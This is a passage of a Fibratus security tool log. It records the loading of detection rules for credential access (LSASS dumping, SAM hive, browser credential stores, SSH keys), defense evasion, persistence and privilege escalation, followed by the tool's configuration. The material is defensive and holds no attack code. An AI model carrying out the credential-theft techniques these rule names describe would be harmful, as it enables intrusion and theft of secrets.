+time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:04:51+01:00 level=info msg=bootstrapping with pid 18244. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:04:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false stack-enrichment=>true enable-registry=>true enable-mem=>false enable-net=>true buffer-size=>512 enable-handle=>false enable-audit-api=>true enable-fileio=>true enable-vamap=>true enable-image=>true min-buffers=>16 enable-thread=>true enable-threadpool=>false max-buffers=>36 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 log-stdout=>true max-backups=>15 formatter=>text] + output ......................... [ amqp=>[ passive=>false url=>amqp://localhost:5672 enabled=>false durable=>false routing-key=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus timeout=>5s vhost=>/] http=>[ timeout=>5s enable-gzip=>false enabled=>false method=>POST serializer=>json endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ timeout=>5s trace-log=>false bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false flush-period=>1s sniff=>false healthcheck-timeout=>5s enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] skip-allocs=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false enabled=>false fastscan=>true scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:04:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:04:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:06:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:06:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, 